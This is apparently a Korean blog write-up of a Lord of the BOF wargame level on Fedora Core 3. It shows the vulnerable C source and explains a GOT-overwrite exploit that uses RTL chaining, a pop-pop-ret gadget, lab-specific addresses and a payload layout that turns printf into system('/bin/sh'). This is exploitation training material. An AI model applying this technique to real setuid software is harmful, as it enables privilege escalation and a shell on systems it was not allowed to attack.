FC3 hell_fire->evil_wizard
/*
The Lord of the BOF : The Fellowship of the BOF
- evil_wizard
- Local BOF on Fedora Core 3
- hint : GOT overwriting
*/
// magic potion for you
void pop_pop_ret(void)
{
asm("pop %eax");
asm("pop %eax");
asm("ret");
}
int main(int argc, char *argv[])
{
char buffer[256];
char saved_sfp[4];
int length;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// for disturbance RET sleding
length = strlen(argv[1]);
// healing potion for you
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
// save sfp
memcpy(saved_sfp, buffer+264, 4);
// overflow!!
strcpy(buffer, argv[1]);
// restore sfp
memcpy(buffer+264, saved_sfp, 4);
// disturbance RET sleding
memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
printf("%s\n", buffer);
}
중요한 가젯인 pop pop ret를 magic potion이라면서 대놓고준다.
RET sleding과 fake ebp를 막아놓았다.
힌트에도 나와있듯이 GOT overwrite를 이용해 풀자
strcpy로 printf.got를 system으로 바꿔 system을 실행할것이다. pop pop ret가 주어졌으니 RTL chaining 으로 프로그램 내에서 system의 주소 가젯을 구해 printf.got를 overwrite한다. 그뒤 /bin/sh의 주소를 찾아 인자로 주자.
system과 pop pop ret 가젯은 objdump로 구하고 plt와 got는 gdb로 구하자
(쓰지않는 함수주소도 일단 구하고봤다)
execve.plt : 0x715490
memcpy.plt : 0x8048434
strcpy.plt : 0x8048494 -> \x94\x84\x04\x08
memset.plt : 0x8048474
printf.plt : 0x8048424 printf.got : 0x8049884 -> \x84\x98\x04\x08
&system : 0x7507c0 c0 07 75 00 gadget
c0 : 0x8048535 \x35\x85\x04\x08
07 : 0x8048388 \x88\x83\x04\x08
75 : 0x80482c8 \xc8\x82\x04\x08
00 : 0x8049840 \x40\x98\x04\x08
pop pop ret : 0x804854f -> \x4f\x85\x04\x08
페이로드
| dummy*268 |
| strcpy@plt | pop pop ret | printf.got | system[0] gadget |
| strcpy@plt | pop pop ret | printf.got+1 | system[1] gadget |
| strcpy@plt | pop pop ret | printf.got+2 | system[2] gadget |
| strcpy@plt | pop pop ret | printf.got+3 | system[3] gadget |
| printf@plt | dummy[4] | &/bin/sh |
'System > FC3' 카테고리의 다른 글
FC3 evil_wizard->dark_stone (1) | 2017.04.07 |
---|---|
FC3 dark_eyes->hell_fire (0) | 2017.04.07 |
FC3 iron_golem->dark_eyes (0) | 2017.04.07 |
FC3 gate->iron_golem (0) | 2017.04.07 |